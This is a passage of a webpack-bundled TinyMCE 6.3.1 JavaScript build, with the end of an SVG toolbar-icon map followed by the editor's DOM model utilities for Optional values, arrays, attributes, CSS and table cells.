    'unordered-list': '<svg width="24" height="24"><path d="M11 5h8c.6 0 1 .4 1 1s-.4 1-1 1h-8a1 1 0 0 1 0-2Zm0 6h8c.6 0 1 .4 1 1s-.4 1-1 1h-8a1 1 0 0 1 0-2Zm0 6h8c.6 0 1 .4 1 1s-.4 1-1 1h-8a1 1 0 0 1 0-2ZM4.5 6c0-.4.1-.8.4-1 .3-.4.7-.5 1.1-.5.4 0 .8.1 1 .4.4.3.5.7.5 1.1 0 .4-.1.8-.4 1-.3.4-.7.5-1.1.5-.4 0-.8-.1-1-.4-.4-.3-.5-.7-.5-1.1Zm0 6c0-.4.1-.8.4-1 .3-.4.7-.5 1.1-.5.4 0 .8.1 1 .4.4.3.5.7.5 1.1 0 .4-.1.8-.4 1-.3.4-.7.5-1.1.5-.4 0-.8-.1-1-.4-.4-.3-.5-.7-.5-1.1Zm0 6c0-.4.1-.8.4-1 .3-.4.7-.5 1.1-.5.4 0 .8.1 1 .4.4.3.5.7.5 1.1 0 .4-.1.8-.4 1-.3.4-.7.5-1.1.5-.4 0-.8-.1-1-.4-.4-.3-.5-.7-.5-1.1Z" fill-rule="evenodd"/></svg>',
    'unselected': '<svg width="24" height="24"><path fill-rule="nonzero" d="M6 4h12a2 2 0 0 1 2 2v12a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V6c0-1.1.9-2 2-2Zm0 1a1 1 0 0 0-1 1v12c0 .6.4 1 1 1h12c.6 0 1-.4 1-1V6c0-.6-.4-1-1-1H6Z"/></svg>',
    'upload': '<svg width="24" height="24"><path d="M18 19v-2a1 1 0 0 1 2 0v3c0 .6-.4 1-1 1H5a1 1 0 0 1-1-1v-3a1 1 0 0 1 2 0v2h12ZM11 6.4 8.7 8.7a1 1 0 0 1-1.4-1.4l4-4a1 1 0 0 1 1.4 0l4 4a1 1 0 1 1-1.4 1.4L13 6.4V16a1 1 0 0 1-2 0V6.4Z" fill-rule="nonzero"/></svg>',
    'user': '<svg width="24" height="24"><path d="M12 24a12 12 0 1 1 0-24 12 12 0 0 1 0 24Zm-8.7-5.3a11 11 0 0 0 17.4 0C19.4 16.3 14.6 15 12 15c-2.6 0-7.4 1.3-8.7 3.7ZM12 13c2.2 0 4-2 4-4.5S14.2 4 12 4 8 6 8 8.5 9.8 13 12 13Z" fill-rule="nonzero"/></svg>',
    'vertical-align': '<svg width="24" height="24"><g fill-rule="nonzero"><rect width="18" height="2" x="3" y="11" rx="1"/><path d="M12 2c.6 0 1 .4 1 1v4l2-1.3a1 1 0 0 1 1.2 1.5l-.1.1-4.1 3-4-3a1 1 0 0 1 1-1.7l2 1.5V3c0-.6.4-1 1-1zm0 11.8 4 2.9a1 1 0 0 1-1 1.7l-2-1.5V21c0 .5-.4 1-.9 1H12a1 1 0 0 1-1-1v-4l-2 1.3a1 1 0 0 1-1.2-.1l-.1-.1a1 1 0 0 1 .1-1.3l.1-.1 4.1-3z"/></g></svg>',
    'visualblocks': '<svg width="24" height="24"><path d="M9 19v2H7v-2h2Zm-4 0v2a2 2 0 0 1-2-2h2Zm8 0v2h-2v-2h2Zm8 0a2 2 0 0 1-2 2v-2h2Zm-4 0v2h-2v-2h2ZM15 7a1 1 0 0 1 0 2v7a1 1 0 0 1-2 0V9h-1v7a1 1 0 0 1-2 0v-4a2.5 2.5 0 0 1-.2-5H15ZM5 15v2H3v-2h2Zm16 0v2h-2v-2h2ZM5 11v2H3v-2h2Zm16 0v2h-2v-2h2ZM5 7v2H3V7h2Zm16 0v2h-2V7h2ZM5 3v2H3c0-1.1.9-2 2-2Zm8 0v2h-2V3h2Zm6 0a2 2 0 0 1 2 2h-2V3ZM9 3v2H7V3h2Zm8 0v2h-2V3h2Z" fill-rule="evenodd"/></svg>',
    'visualchars': '<svg width="24" height="24"><path d="M10 5h7a1 1 0 0 1 0 2h-1v11a1 1 0 0 1-2 0V7h-2v11a1 1 0 0 1-2 0v-6c-.5 0-1 0-1.4-.3A3.4 3.4 0 0 1 6.8 10a3.3 3.3 0 0 1 0-2.8 3.4 3.4 0 0 1 1.8-1.8L10 5Z" fill-rule="evenodd"/></svg>',
    'warning': '<svg width="24" height="24"><path d="M19.8 18.3c.2.5.3.9 0 1.2-.1.3-.5.5-1 .5H5.2c-.5 0-.9-.2-1-.5-.3-.3-.2-.7 0-1.2L11 4.7l.5-.5.5-.2c.2 0 .3 0 .5.2.2 0 .3.3.5.5l6.8 13.6ZM12 18c.3 0 .5-.1.7-.3.2-.2.3-.4.3-.7a1 1 0 0 0-.3-.7 1 1 0 0 0-.7-.3 1 1 0 0 0-.7.3 1 1 0 0 0-.3.7c0 .3.1.5.3.7.2.2.4.3.7.3Zm.7-3 .3-4a1 1 0 0 0-.3-.7 1 1 0 0 0-.7-.3 1 1 0 0 0-.7.3 1 1 0 0 0-.3.7l.3 4h1.4Z" fill-rule="evenodd"/></svg>',
    'zoom-in': '<svg width="24" height="24"><path d="M16 17.3a8 8 0 1 1 1.4-1.4l4.3 4.4a1 1 0 0 1-1.4 1.4l-4.4-4.3Zm-5-.3a6 6 0 1 0 0-12 6 6 0 0 0 0 12Zm-1-9a1 1 0 0 1 2 0v6a1 1 0 0 1-2 0V8Zm-2 4a1 1 0 0 1 0-2h6a1 1 0 0 1 0 2H8Z" fill-rule="nonzero"/></svg>',
    'zoom-out': '<svg width="24" height="24"><path d="M16 17.3a8 8 0 1 1 1.4-1.4l4.3 4.4a1 1 0 0 1-1.4 1.4l-4.4-4.3Zm-5-.3a6 6 0 1 0 0-12 6 6 0 0 0 0 12Zm-3-5a1 1 0 0 1 0-2h6a1 1 0 0 1 0 2H8Z" fill-rule="nonzero"/></svg>',
  }
});

/***/ }),
/* 3 */
/***/ ((__unused_webpack_module, __unused_webpack_exports, __webpack_require__) => {

// Exports the "dom" model for usage with module loaders
// Usage:
//   CommonJS:
//     require('tinymce/models/dom')
//   ES2015:
//     import 'tinymce/models/dom'
__webpack_require__(4);

/***/ }),
/* 4 */
/***/ (() => {

/**
 * TinyMCE version 6.3.1 (2022-12-06)
 */

(function () {
    'use strict';

    var global$1 = tinymce.util.Tools.resolve('tinymce.ModelManager');

    const hasProto = (v, constructor, predicate) => {
      var _a;
      if (predicate(v, constructor.prototype)) {
        return true;
      } else {
        return ((_a = v.constructor) === null || _a === void 0 ? void 0 : _a.name) === constructor.name;
      }
    };
    const typeOf = x => {
      const t = typeof x;
      if (x === null) {
        return 'null';
      } else if (t === 'object' && Array.isArray(x)) {
        return 'array';
      } else if (t === 'object' && hasProto(x, String, (o, proto) => proto.isPrototypeOf(o))) {
        return 'string';
      } else {
        return t;
      }
    };
    const isType$1 = type => value => typeOf(value) === type;
    const isSimpleType = type => value => typeof value === type;
    const eq$2 = t => a => t === a;
    const isString = isType$1('string');
    const isObject = isType$1('object');
    const isArray = isType$1('array');
    const isNull = eq$2(null);
    const isBoolean = isSimpleType('boolean');
    const isUndefined = eq$2(undefined);
    const isNullable = a => a === null || a === undefined;
    const isNonNullable = a => !isNullable(a);
    const isFunction = isSimpleType('function');
    const isNumber = isSimpleType('number');

    const noop = () => {
    };
    const compose = (fa, fb) => {
      return (...args) => {
        return fa(fb.apply(null, args));
      };
    };
    const compose1 = (fbc, fab) => a => fbc(fab(a));
    const constant = value => {
      return () => {
        return value;
      };
    };
    const identity = x => {
      return x;
    };
    const tripleEquals = (a, b) => {
      return a === b;
    };
    function curry(fn, ...initialArgs) {
      return (...restArgs) => {
        const all = initialArgs.concat(restArgs);
        return fn.apply(null, all);
      };
    }
    const not = f => t => !f(t);
    const die = msg => {
      return () => {
        throw new Error(msg);
      };
    };
    const apply = f => {
      return f();
    };
    const never = constant(false);
    const always = constant(true);

    class Optional {
      constructor(tag, value) {
        this.tag = tag;
        this.value = value;
      }
      static some(value) {
        return new Optional(true, value);
      }
      static none() {
        return Optional.singletonNone;
      }
      fold(onNone, onSome) {
        if (this.tag) {
          return onSome(this.value);
        } else {
          return onNone();
        }
      }
      isSome() {
        return this.tag;
      }
      isNone() {
        return !this.tag;
      }
      map(mapper) {
        if (this.tag) {
          return Optional.some(mapper(this.value));
        } else {
          return Optional.none();
        }
      }
      bind(binder) {
        if (this.tag) {
          return binder(this.value);
        } else {
          return Optional.none();
        }
      }
      exists(predicate) {
        return this.tag && predicate(this.value);
      }
      forall(predicate) {
        return !this.tag || predicate(this.value);
      }
      filter(predicate) {
        if (!this.tag || predicate(this.value)) {
          return this;
        } else {
          return Optional.none();
        }
      }
      getOr(replacement) {
        return this.tag ? this.value : replacement;
      }
      or(replacement) {
        return this.tag ? this : replacement;
      }
      getOrThunk(thunk) {
        return this.tag ? this.value : thunk();
      }
      orThunk(thunk) {
        return this.tag ? this : thunk();
      }
      getOrDie(message) {
        if (!this.tag) {
          throw new Error(message !== null && message !== void 0 ? message : 'Called getOrDie on None');
        } else {
          return this.value;
        }
      }
      static from(value) {
        return isNonNullable(value) ? Optional.some(value) : Optional.none();
      }
      getOrNull() {
        return this.tag ? this.value : null;
      }
      getOrUndefined() {
        return this.value;
      }
      each(worker) {
        if (this.tag) {
          worker(this.value);
        }
      }
      toArray() {
        return this.tag ? [this.value] : [];
      }
      toString() {
        return this.tag ? `some(${ this.value })` : 'none()';
      }
    }
    Optional.singletonNone = new Optional(false);

    const nativeSlice = Array.prototype.slice;
    const nativeIndexOf = Array.prototype.indexOf;
    const nativePush = Array.prototype.push;
    const rawIndexOf = (ts, t) => nativeIndexOf.call(ts, t);
    const contains$2 = (xs, x) => rawIndexOf(xs, x) > -1;
    const exists = (xs, pred) => {
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        if (pred(x, i)) {
          return true;
        }
      }
      return false;
    };
    const range$1 = (num, f) => {
      const r = [];
      for (let i = 0; i < num; i++) {
        r.push(f(i));
      }
      return r;
    };
    const map$1 = (xs, f) => {
      const len = xs.length;
      const r = new Array(len);
      for (let i = 0; i < len; i++) {
        const x = xs[i];
        r[i] = f(x, i);
      }
      return r;
    };
    const each$2 = (xs, f) => {
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        f(x, i);
      }
    };
    const eachr = (xs, f) => {
      for (let i = xs.length - 1; i >= 0; i--) {
        const x = xs[i];
        f(x, i);
      }
    };
    const partition = (xs, pred) => {
      const pass = [];
      const fail = [];
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        const arr = pred(x, i) ? pass : fail;
        arr.push(x);
      }
      return {
        pass,
        fail
      };
    };
    const filter$2 = (xs, pred) => {
      const r = [];
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        if (pred(x, i)) {
          r.push(x);
        }
      }
      return r;
    };
    const foldr = (xs, f, acc) => {
      eachr(xs, (x, i) => {
        acc = f(acc, x, i);
      });
      return acc;
    };
    const foldl = (xs, f, acc) => {
      each$2(xs, (x, i) => {
        acc = f(acc, x, i);
      });
      return acc;
    };
    const findUntil = (xs, pred, until) => {
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        if (pred(x, i)) {
          return Optional.some(x);
        } else if (until(x, i)) {
          break;
        }
      }
      return Optional.none();
    };
    const find$1 = (xs, pred) => {
      return findUntil(xs, pred, never);
    };
    const findIndex = (xs, pred) => {
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        if (pred(x, i)) {
          return Optional.some(i);
        }
      }
      return Optional.none();
    };
    const flatten = xs => {
      const r = [];
      for (let i = 0, len = xs.length; i < len; ++i) {
        if (!isArray(xs[i])) {
          throw new Error('Arr.flatten item ' + i + ' was not an array, input: ' + xs);
        }
        nativePush.apply(r, xs[i]);
      }
      return r;
    };
    const bind$2 = (xs, f) => flatten(map$1(xs, f));
    const forall = (xs, pred) => {
      for (let i = 0, len = xs.length; i < len; ++i) {
        const x = xs[i];
        if (pred(x, i) !== true) {
          return false;
        }
      }
      return true;
    };
    const reverse = xs => {
      const r = nativeSlice.call(xs, 0);
      r.reverse();
      return r;
    };
    const mapToObject = (xs, f) => {
      const r = {};
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        r[String(x)] = f(x, i);
      }
      return r;
    };
    const sort$1 = (xs, comparator) => {
      const copy = nativeSlice.call(xs, 0);
      copy.sort(comparator);
      return copy;
    };
    const get$d = (xs, i) => i >= 0 && i < xs.length ? Optional.some(xs[i]) : Optional.none();
    const head = xs => get$d(xs, 0);
    const last$2 = xs => get$d(xs, xs.length - 1);
    const findMap = (arr, f) => {
      for (let i = 0; i < arr.length; i++) {
        const r = f(arr[i], i);
        if (r.isSome()) {
          return r;
        }
      }
      return Optional.none();
    };

    const keys = Object.keys;
    const hasOwnProperty = Object.hasOwnProperty;
    const each$1 = (obj, f) => {
      const props = keys(obj);
      for (let k = 0, len = props.length; k < len; k++) {
        const i = props[k];
        const x = obj[i];
        f(x, i);
      }
    };
    const map = (obj, f) => {
      return tupleMap(obj, (x, i) => ({
        k: i,
        v: f(x, i)
      }));
    };
    const tupleMap = (obj, f) => {
      const r = {};
      each$1(obj, (x, i) => {
        const tuple = f(x, i);
        r[tuple.k] = tuple.v;
      });
      return r;
    };
    const objAcc = r => (x, i) => {
      r[i] = x;
    };
    const internalFilter = (obj, pred, onTrue, onFalse) => {
      each$1(obj, (x, i) => {
        (pred(x, i) ? onTrue : onFalse)(x, i);
      });
    };
    const filter$1 = (obj, pred) => {
      const t = {};
      internalFilter(obj, pred, objAcc(t), noop);
      return t;
    };
    const mapToArray = (obj, f) => {
      const r = [];
      each$1(obj, (value, name) => {
        r.push(f(value, name));
      });
      return r;
    };
    const values = obj => {
      return mapToArray(obj, identity);
    };
    const get$c = (obj, key) => {
      return has$1(obj, key) ? Optional.from(obj[key]) : Optional.none();
    };
    const has$1 = (obj, key) => hasOwnProperty.call(obj, key);
    const hasNonNullableKey = (obj, key) => has$1(obj, key) && obj[key] !== undefined && obj[key] !== null;
    const isEmpty = r => {
      for (const x in r) {
        if (hasOwnProperty.call(r, x)) {
          return false;
        }
      }
      return true;
    };

    typeof window !== 'undefined' ? window : Function('return this;')();

    const COMMENT = 8;
    const DOCUMENT = 9;
    const DOCUMENT_FRAGMENT = 11;
    const ELEMENT = 1;
    const TEXT = 3;

    const name = element => {
      const r = element.dom.nodeName;
      return r.toLowerCase();
    };
    const type = element => element.dom.nodeType;
    const isType = t => element => type(element) === t;
    const isComment = element => type(element) === COMMENT || name(element) === '#comment';
    const isElement = isType(ELEMENT);
    const isText = isType(TEXT);
    const isDocument = isType(DOCUMENT);
    const isDocumentFragment = isType(DOCUMENT_FRAGMENT);
    const isTag = tag => e => isElement(e) && name(e) === tag;

    const rawSet = (dom, key, value) => {
      if (isString(value) || isBoolean(value) || isNumber(value)) {
        dom.setAttribute(key, value + '');
      } else {
        console.error('Invalid call to Attribute.set. Key ', key, ':: Value ', value, ':: Element ', dom);
        throw new Error('Attribute value was not simple');
      }
    };
    const set$2 = (element, key, value) => {
      rawSet(element.dom, key, value);
    };
    const setAll$1 = (element, attrs) => {
      const dom = element.dom;
      each$1(attrs, (v, k) => {
        rawSet(dom, k, v);
      });
    };
    const setOptions = (element, attrs) => {
      each$1(attrs, (v, k) => {
        v.fold(() => {
          remove$7(element, k);
        }, value => {
          rawSet(element.dom, k, value);
        });
      });
    };
    const get$b = (element, key) => {
      const v = element.dom.getAttribute(key);
      return v === null ? undefined : v;
    };
    const getOpt = (element, key) => Optional.from(get$b(element, key));
    const remove$7 = (element, key) => {
      element.dom.removeAttribute(key);
    };
    const clone$2 = element => foldl(element.dom.attributes, (acc, attr) => {
      acc[attr.name] = attr.value;
      return acc;
    }, {});

    const fromHtml$1 = (html, scope) => {
      const doc = scope || document;
      const div = doc.createElement('div');
      div.innerHTML = html;
      if (!div.hasChildNodes() || div.childNodes.length > 1) {
        const message = 'HTML does not have a single root node';
        console.error(message, html);
        throw new Error(message);
      }
      return fromDom$1(div.childNodes[0]);
    };
    const fromTag = (tag, scope) => {
      const doc = scope || document;
      const node = doc.createElement(tag);
      return fromDom$1(node);
    };
    const fromText = (text, scope) => {
      const doc = scope || document;
      const node = doc.createTextNode(text);
      return fromDom$1(node);
    };
    const fromDom$1 = node => {
      if (node === null || node === undefined) {
        throw new Error('Node cannot be null or undefined');
      }
      return { dom: node };
    };
    const fromPoint$1 = (docElm, x, y) => Optional.from(docElm.dom.elementFromPoint(x, y)).map(fromDom$1);
    const SugarElement = {
      fromHtml: fromHtml$1,
      fromTag,
      fromText,
      fromDom: fromDom$1,
      fromPoint: fromPoint$1
    };

    const is$2 = (element, selector) => {
      const dom = element.dom;
      if (dom.nodeType !== ELEMENT) {
        return false;
      } else {
        const elem = dom;
        if (elem.matches !== undefined) {
          return elem.matches(selector);
        } else if (elem.msMatchesSelector !== undefined) {
          return elem.msMatchesSelector(selector);
        } else if (elem.webkitMatchesSelector !== undefined) {
          return elem.webkitMatchesSelector(selector);
        } else if (elem.mozMatchesSelector !== undefined) {
          return elem.mozMatchesSelector(selector);
        } else {
          throw new Error('Browser lacks native selectors');
        }
      }
    };
    const bypassSelector = dom => dom.nodeType !== ELEMENT && dom.nodeType !== DOCUMENT && dom.nodeType !== DOCUMENT_FRAGMENT || dom.childElementCount === 0;
    const all$1 = (selector, scope) => {
      const base = scope === undefined ? document : scope.dom;
      return bypassSelector(base) ? [] : map$1(base.querySelectorAll(selector), SugarElement.fromDom);
    };
    const one = (selector, scope) => {
      const base = scope === undefined ? document : scope.dom;
      return bypassSelector(base) ? Optional.none() : Optional.from(base.querySelector(selector)).map(SugarElement.fromDom);
    };

    const eq$1 = (e1, e2) => e1.dom === e2.dom;
    const contains$1 = (e1, e2) => {
      const d1 = e1.dom;
      const d2 = e2.dom;
      return d1 === d2 ? false : d1.contains(d2);
    };
    const is$1 = is$2;

    const owner = element => SugarElement.fromDom(element.dom.ownerDocument);
    const documentOrOwner = dos => isDocument(dos) ? dos : owner(dos);
    const documentElement = element => SugarElement.fromDom(documentOrOwner(element).dom.documentElement);
    const defaultView = element => SugarElement.fromDom(documentOrOwner(element).dom.defaultView);
    const parent = element => Optional.from(element.dom.parentNode).map(SugarElement.fromDom);
    const parentElement = element => Optional.from(element.dom.parentElement).map(SugarElement.fromDom);
    const parents = (element, isRoot) => {
      const stop = isFunction(isRoot) ? isRoot : never;
      let dom = element.dom;
      const ret = [];
      while (dom.parentNode !== null && dom.parentNode !== undefined) {
        const rawParent = dom.parentNode;
        const p = SugarElement.fromDom(rawParent);
        ret.push(p);
        if (stop(p) === true) {
          break;
        } else {
          dom = rawParent;
        }
      }
      return ret;
    };
    const prevSibling = element => Optional.from(element.dom.previousSibling).map(SugarElement.fromDom);
    const nextSibling = element => Optional.from(element.dom.nextSibling).map(SugarElement.fromDom);
    const children$2 = element => map$1(element.dom.childNodes, SugarElement.fromDom);
    const child$2 = (element, index) => {
      const cs = element.dom.childNodes;
      return Optional.from(cs[index]).map(SugarElement.fromDom);
    };
    const firstChild = element => child$2(element, 0);

    const before$3 = (marker, element) => {
      const parent$1 = parent(marker);
      parent$1.each(v => {
        v.dom.insertBefore(element.dom, marker.dom);
      });
    };
    const after$5 = (marker, element) => {
      const sibling = nextSibling(marker);
      sibling.fold(() => {
        const parent$1 = parent(marker);
        parent$1.each(v => {
          append$1(v, element);
        });
      }, v => {
        before$3(v, element);
      });
    };
    const prepend = (parent, element) => {
      const firstChild$1 = firstChild(parent);
      firstChild$1.fold(() => {
        append$1(parent, element);
      }, v => {
        parent.dom.insertBefore(element.dom, v.dom);
      });
    };
    const append$1 = (parent, element) => {
      parent.dom.appendChild(element.dom);
    };
    const appendAt = (parent, element, index) => {
      child$2(parent, index).fold(() => {
        append$1(parent, element);
      }, v => {
        before$3(v, element);
      });
    };
    const wrap = (element, wrapper) => {
      before$3(element, wrapper);
      append$1(wrapper, element);
    };

    const after$4 = (marker, elements) => {
      each$2(elements, (x, i) => {
        const e = i === 0 ? marker : elements[i - 1];
        after$5(e, x);
      });
    };
    const append = (parent, elements) => {
      each$2(elements, x => {
        append$1(parent, x);
      });
    };

    const empty = element => {
      element.dom.textContent = '';
      each$2(children$2(element), rogue => {
        remove$6(rogue);
      });
    };
    const remove$6 = element => {
      const dom = element.dom;
      if (dom.parentNode !== null) {
        dom.parentNode.removeChild(dom);
      }
    };
    const unwrap = wrapper => {
      const children = children$2(wrapper);
      if (children.length > 0) {
        after$4(wrapper, children);
      }
      remove$6(wrapper);
    };

    const clone$1 = (original, isDeep) => SugarElement.fromDom(original.dom.cloneNode(isDeep));
    const shallow = original => clone$1(original, false);
    const deep = original => clone$1(original, true);
    const shallowAs = (original, tag) => {
      const nu = SugarElement.fromTag(tag);
      const attributes = clone$2(original);
      setAll$1(nu, attributes);
      return nu;
    };
    const copy$2 = (original, tag) => {
      const nu = shallowAs(original, tag);
      const cloneChildren = children$2(deep(original));
      append(nu, cloneChildren);
      return nu;
    };
    const mutate$1 = (original, tag) => {
      const nu = shallowAs(original, tag);
      after$5(original, nu);
      const children = children$2(original);
      append(nu, children);
      remove$6(original);
      return nu;
    };

    const validSectionList = [
      'tfoot',
      'thead',
      'tbody',
      'colgroup'
    ];
    const isValidSection = parentName => contains$2(validSectionList, parentName);
    const grid = (rows, columns) => ({
      rows,
      columns
    });
    const address = (row, column) => ({
      row,
      column
    });
    const detail = (element, rowspan, colspan) => ({
      element,
      rowspan,
      colspan
    });
    const detailnew = (element, rowspan, colspan, isNew) => ({
      element,
      rowspan,
      colspan,
      isNew
    });
    const extended = (element, rowspan, colspan, row, column, isLocked) => ({
      element,
      rowspan,
      colspan,
      row,
      column,
      isLocked
    });
    const rowdetail = (element, cells, section) => ({
      element,
      cells,
      section
    });
    const rowdetailnew = (element, cells, section, isNew) => ({
      element,
      cells,
      section,
      isNew
    });
    const elementnew = (element, isNew, isLocked) => ({
      element,
      isNew,
      isLocked
    });
    const rowcells = (element, cells, section, isNew) => ({
      element,
      cells,
      section,
      isNew
    });
    const bounds = (startRow, startCol, finishRow, finishCol) => ({
      startRow,
      startCol,
      finishRow,
      finishCol
    });
    const columnext = (element, colspan, column) => ({
      element,
      colspan,
      column
    });
    const colgroup = (element, columns) => ({
      element,
      columns
    });

    const isShadowRoot = dos => isDocumentFragment(dos) && isNonNullable(dos.dom.host);
    const supported = isFunction(Element.prototype.attachShadow) && isFunction(Node.prototype.getRootNode);
    const isSupported$1 = constant(supported);
    const getRootNode = supported ? e => SugarElement.fromDom(e.dom.getRootNode()) : documentOrOwner;
    const getShadowRoot = e => {
      const r = getRootNode(e);
      return isShadowRoot(r) ? Optional.some(r) : Optional.none();
    };
    const getShadowHost = e => SugarElement.fromDom(e.dom.host);
    const getOriginalEventTarget = event => {
      if (isSupported$1() && isNonNullable(event.target)) {
        const el = SugarElement.fromDom(event.target);
        if (isElement(el) && isOpenShadowHost(el)) {
          if (event.composed && event.composedPath) {
            const composedPath = event.composedPath();
            if (composedPath) {
              return head(composedPath);
            }
          }
        }
      }
      return Optional.from(event.target);
    };
    const isOpenShadowHost = element => isNonNullable(element.dom.shadowRoot);

    const inBody = element => {
      const dom = isText(element) ? element.dom.parentNode : element.dom;
      if (dom === undefined || dom === null || dom.ownerDocument === null) {
        return false;
      }
      const doc = dom.ownerDocument;
      return getShadowRoot(SugarElement.fromDom(dom)).fold(() => doc.body.contains(dom), compose1(inBody, getShadowHost));
    };
    const body$1 = () => getBody$1(SugarElement.fromDom(document));
    const getBody$1 = doc => {
      const b = doc.dom.body;
      if (b === null || b === undefined) {
        throw new Error('Body is not available yet');
      }
      return SugarElement.fromDom(b);
    };

    const ancestors$4 = (scope, predicate, isRoot) => filter$2(parents(scope, isRoot), predicate);
    const children$1 = (scope, predicate) => filter$2(children$2(scope), predicate);
    const descendants$1 = (scope, predicate) => {
      let result = [];
      each$2(children$2(scope), x => {
        if (predicate(x)) {
          result = result.concat([x]);
        }
        result = result.concat(descendants$1(x, predicate));
      });
      return result;
    };

    const ancestors$3 = (scope, selector, isRoot) => ancestors$4(scope, e => is$2(e, selector), isRoot);
    const children = (scope, selector) => children$1(scope, e => is$2(e, selector));
    const descendants = (scope, selector) => all$1(selector, scope);

    var ClosestOrAncestor = (is, ancestor, scope, a, isRoot) => {
      if (is(scope, a)) {
        return Optional.some(scope);
      } else if (isFunction(isRoot) && isRoot(scope)) {
        return Optional.none();
      } else {
        return ancestor(scope, a, isRoot);
      }
    };

    const ancestor$2 = (scope, predicate, isRoot) => {
      let element = scope.dom;
      const stop = isFunction(isRoot) ? isRoot : never;
      while (element.parentNode) {
        element = element.parentNode;
        const el = SugarElement.fromDom(element);
        if (predicate(el)) {
          return Optional.some(el);
        } else if (stop(el)) {
          break;
        }
      }
      return Optional.none();
    };
    const closest$2 = (scope, predicate, isRoot) => {
      const is = (s, test) => test(s);
      return ClosestOrAncestor(is, ancestor$2, scope, predicate, isRoot);
    };
    const child$1 = (scope, predicate) => {
      const pred = node => predicate(SugarElement.fromDom(node));
      const result = find$1(scope.dom.childNodes, pred);
      return result.map(SugarElement.fromDom);
    };
    const descendant$1 = (scope, predicate) => {
      const descend = node => {
        for (let i = 0; i < node.childNodes.length; i++) {
          const child = SugarElement.fromDom(node.childNodes[i]);
          if (predicate(child)) {
            return Optional.some(child);
          }
          const res = descend(node.childNodes[i]);
          if (res.isSome()) {
            return res;
          }
        }
        return Optional.none();
      };
      return descend(scope.dom);
    };

    const ancestor$1 = (scope, selector, isRoot) => ancestor$2(scope, e => is$2(e, selector), isRoot);
    const child = (scope, selector) => child$1(scope, e => is$2(e, selector));
    const descendant = (scope, selector) => one(selector, scope);
    const closest$1 = (scope, selector, isRoot) => {
      const is = (element, selector) => is$2(element, selector);
      return ClosestOrAncestor(is, ancestor$1, scope, selector, isRoot);
    };

    const is = (lhs, rhs, comparator = tripleEquals) => lhs.exists(left => comparator(left, rhs));
    const cat = arr => {
      const r = [];
      const push = x => {
        r.push(x);
      };
      for (let i = 0; i < arr.length; i++) {
        arr[i].each(push);
      }
      return r;
    };
    const bindFrom = (a, f) => a !== undefined && a !== null ? f(a) : Optional.none();
    const someIf = (b, a) => b ? Optional.some(a) : Optional.none();

    const checkRange = (str, substr, start) => substr === '' || str.length >= substr.length && str.substr(start, start + substr.length) === substr;
    const contains = (str, substr, start = 0, end) => {
      const idx = str.indexOf(substr, start);
      if (idx !== -1) {
        return isUndefined(end) ? true : idx + substr.length <= end;
      } else {
        return false;
      }
    };
    const startsWith = (str, prefix) => {
      return checkRange(str, prefix, 0);
    };
    const endsWith = (str, suffix) => {
      return checkRange(str, suffix, str.length - suffix.length);
    };
    const blank = r => s => s.replace(r, '');
    const trim = blank(/^\s+|\s+$/g);
    const isNotEmpty = s => s.length > 0;
    const toFloat = value => {
      const num = parseFloat(value);
      return isNaN(num) ? Optional.none() : Optional.some(num);
    };

    const isSupported = dom => dom.style !== undefined && isFunction(dom.style.getPropertyValue);

    const internalSet = (dom, property, value) => {
      if (!isString(value)) {
        console.error('Invalid call to CSS.set. Property ', property, ':: Value ', value, ':: Element ', dom);
        throw new Error('CSS value must be a string: ' + value);
      }
      if (isSupported(dom)) {
        dom.style.setProperty(property, value);
      }
    };
    const internalRemove = (dom, property) => {
      if (isSupported(dom)) {
        dom.style.removeProperty(property);
      }
    };
    const set$1 = (element, property, value) => {
      const dom = element.dom;
      internalSet(dom, property, value);
    };
    const setAll = (element, css) => {
      const dom = element.dom;
      each$1(css, (v, k) => {
        internalSet(dom, k, v);
      });
    };
    const get$a = (element, property) => {
      const dom = element.dom;
      const styles = window.getComputedStyle(dom);
      const r = styles.getPropertyValue(property);
      return r === '' && !inBody(element) ? getUnsafeProperty(dom, property) : r;
    };
    const getUnsafeProperty = (dom, property) => isSupported(dom) ? dom.style.getPropertyValue(property) : '';
    const getRaw$2 = (element, property) => {
      const dom = element.dom;
      const raw = getUnsafeProperty(dom, property);
      return Optional.from(raw).filter(r => r.length > 0);
    };
    const remove$5 = (element, property) => {
      const dom = element.dom;
      internalRemove(dom, property);
      if (is(getOpt(element, 'style').map(trim), '')) {
        remove$7(element, 'style');
      }
    };
    const copy$1 = (source, target) => {
      const sourceDom = source.dom;
      const targetDom = target.dom;
      if (isSupported(sourceDom) && isSupported(targetDom)) {
        targetDom.style.cssText = sourceDom.style.cssText;
      }
    };

    const getAttrValue = (cell, name, fallback = 0) => getOpt(cell, name).map(value => parseInt(value, 10)).getOr(fallback);
    const getSpan = (cell, type) => getAttrValue(cell, type, 1);
    const hasColspan = cellOrCol => {
      if (isTag('col')(cellOrCol)) {
        return getAttrValue(cellOrCol, 'span', 1) > 1;
      } else {
        return getSpan(cellOrCol, 'colspan') > 1;
      }
    };
    const hasRowspan = cell => getSpan(cell, 'rowspan') > 1;
    const getCssValue = (element, property) => parseInt(get$a(element, property), 10);
    const minWidth = constant(10);
    const minHeight = constant(10);

    const firstLayer = (scope, selector) => {
      return filterFirstLayer(scope, selector, always);
    };
    const filterFirstLayer = (scope, selector, predicate) => {
      return bind$2(children$2(scope), x => {
        if (is$2(x, selector)) {
          return predicate(x) ? [x] : [];
        } else {
          return filterFirstLayer(x, selector, predicate);
        }
      });
    };

    const lookup = (tags, element, isRoot = never) => {
      if (isRoot(element)) {
        return Optional.none();
      }
      if (contains$2(tags, name(element))) {
        return Optional.some(element);
      }
      const isRootOrUpperTable = elm => is$2(elm, 'table') || isRoot(elm);
      return ancestor$1(element, tags.join(','), isRootOrUpperTable);
    };
    const cell = (element, isRoot) => lookup([
      'td',
      'th'
    ], element, isRoot);
    const cells$1 = ancestor => firstLayer(ancestor, 'th,td');
    const columns$1 = ancestor => {
      if (is$2(ancestor, 'colgroup')) {
        return children(ancestor, 'col');
      } else {
        return bind$2(columnGroups(ancestor), columnGroup => children(columnGroup, 'col'));
      }
    };
